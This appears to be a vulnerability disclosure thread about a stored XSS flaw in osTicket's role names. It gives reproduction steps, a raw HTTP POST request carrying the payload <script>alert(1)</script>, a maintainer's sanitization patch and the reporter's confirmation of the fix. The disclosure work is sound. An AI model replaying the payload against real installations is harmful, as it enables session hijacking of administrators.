Stored XSS in Roles in osticket/osticket
Reported on
Dec 15th 2022
Description
Stored cross-site scripting vulnerabilities arise when user input is stored and later embedded into the application's responses in an unsafe way. An attacker can use the vulnerability to inject malicious JavaScript code into the application, which will execute within the browser of any user who views the relevant application content.
Following agent authentication, with the need of administrative privileges or the ability to create, edit or delete roles within the application, an attacker can take advantage of insufficient control of the user input on the POST parameter name
used while editing an existing role, such as the default one All Access
, to inject arbitrary javascript code that will be permanently stored. In this way, the input entered by the attacker will be triggered whenever the list of roles in scp/roles.php
is displayed or, in general, whenever the role management form is present, such as while creating a user or editing an existent one.
Steps-To-Reproduce
• Log into the osTicket agent login form at osTicket/scp/login.php
using a privileged user.
• Switch to the Admin Panel
in the upper right corner.
• Move to the Agents > Roles
assignment form at osTicket/scp/roles.php
.
• Here, you can both choose to create a new role or edit an existent one. For this PoC we'll be using the default privileged one, namely All Access
, so select it to proceed with the role update.
• In the Name
label, inject the XSS payload <script>alert(1)</script>
right after the All Access
string. The input will look like the following All Access<script>alert(1)</script>
. Then, saving your changes you'll be notified that the role has been updated successfully.
• Browse again the Agents > Roles
assignment form at osTicket/scp/roles.php
to see the XSS popping up whenever the list of roles is fetched. It will also trigger in osTicket/scp/staff.php
while choosing to add a new agent, since the list of roles is fetched in the Access
tab.
Proof of Concept
POST /osTicket/scp/roles.php?id=1 HTTP/1.1
Host: <REDACTED>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 734
Origin: http://<REDACTED>
Connection: close
Referer: http://<REDACTED>/osTicket/scp/roles.php?id=1
Cookie: OSTSESSID=3c90r6qlsn81b655j5jhd9ef37
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
DNT: 1
Sec-GPC: 1
submit=Save+Changes&__CSRFToken__=e47cedfc19cd4b0fc3be44f07078f7238ace7b63&do=update&a=&id=1&name=All%20Accessqtfkh%3cscript%3ealert(1)%3c%2fscript%3eeupzn¬es=%3Cp%3ERole+with+unlimited+access%3C%2Fp%3E&perms%5B%5D=ticket.assign&perms%5B%5D=ticket.close&perms%5B%5D=ticket.create&perms%5B%5D=ticket.delete&perms%5B%5D=ticket.edit&perms%5B%5D=thread.edit&perms%5B%5D=ticket.link&perms%5B%5D=ticket.markanswered&perms%5B%5D=ticket.merge&perms%5B%5D=ticket.reply&perms%5B%5D=ticket.refer&perms%5B%5D=ticket.release&perms%5B%5D=ticket.transfer&perms%5B%5D=task.assign&perms%5B%5D=task.close&perms%5B%5D=task.create&perms%5B%5D=task.delete&perms%5B%5D=task.edit&perms%5B%5D=task.reply&perms%5B%5D=task.transfer&perms%5B%5D=canned.manage
Impact
If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can perform any action within the application that the user can perform, view any information that the user is able to view, modify any information that the user is able to modify or initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.
Ideally, in this practical example, the victim user of this attack is represented by another osTicket agent, with same administrative privileges or the ability to create, edit or delete roles within the application.
@indevi0us
Please test the below patch and let us know if it fully mitigates the vulnerability:
diff --git a/include/class.role.php b/include/class.role.php
index b4a8723b..f2d07057 100644
--- a/include/class.role.php
+++ b/include/class.role.php
@@ -156,9 +156,10 @@ class Role extends RoleModel {
}
function update($vars, &$errors) {
- if (!$vars['name'])
+ $name = Format::sanitize($vars['name']);
+ if (!$name)
$errors['name'] = __('Name required');
- elseif (($r=Role::lookup(array('name'=>$vars['name'])))
+ elseif (($r=Role::lookup(array('name'=>$name)))
&& $r->getId() != $vars['id'])
$errors['name'] = __('Name already in use');
elseif (!$vars['perms'] || !count($vars['perms']))
@@ -167,8 +168,8 @@ class Role extends RoleModel {
if ($errors)
return false;
- $this->name = $vars['name'];
- $this->notes = $vars['notes'];
+ $this->name = $name;
+ $this->notes = Format::sanitize($vars['notes']);
$this->updatePerms($vars['perms'], $errors);
Cheers.
Hi @JediKev. Fix applied and I'm not able to reproduce this issue anymore. Previously reported Stored XSS seem to have been fixed correctly, both on osTicket/scp/roles.php
and osTicket/scp/staff.php
.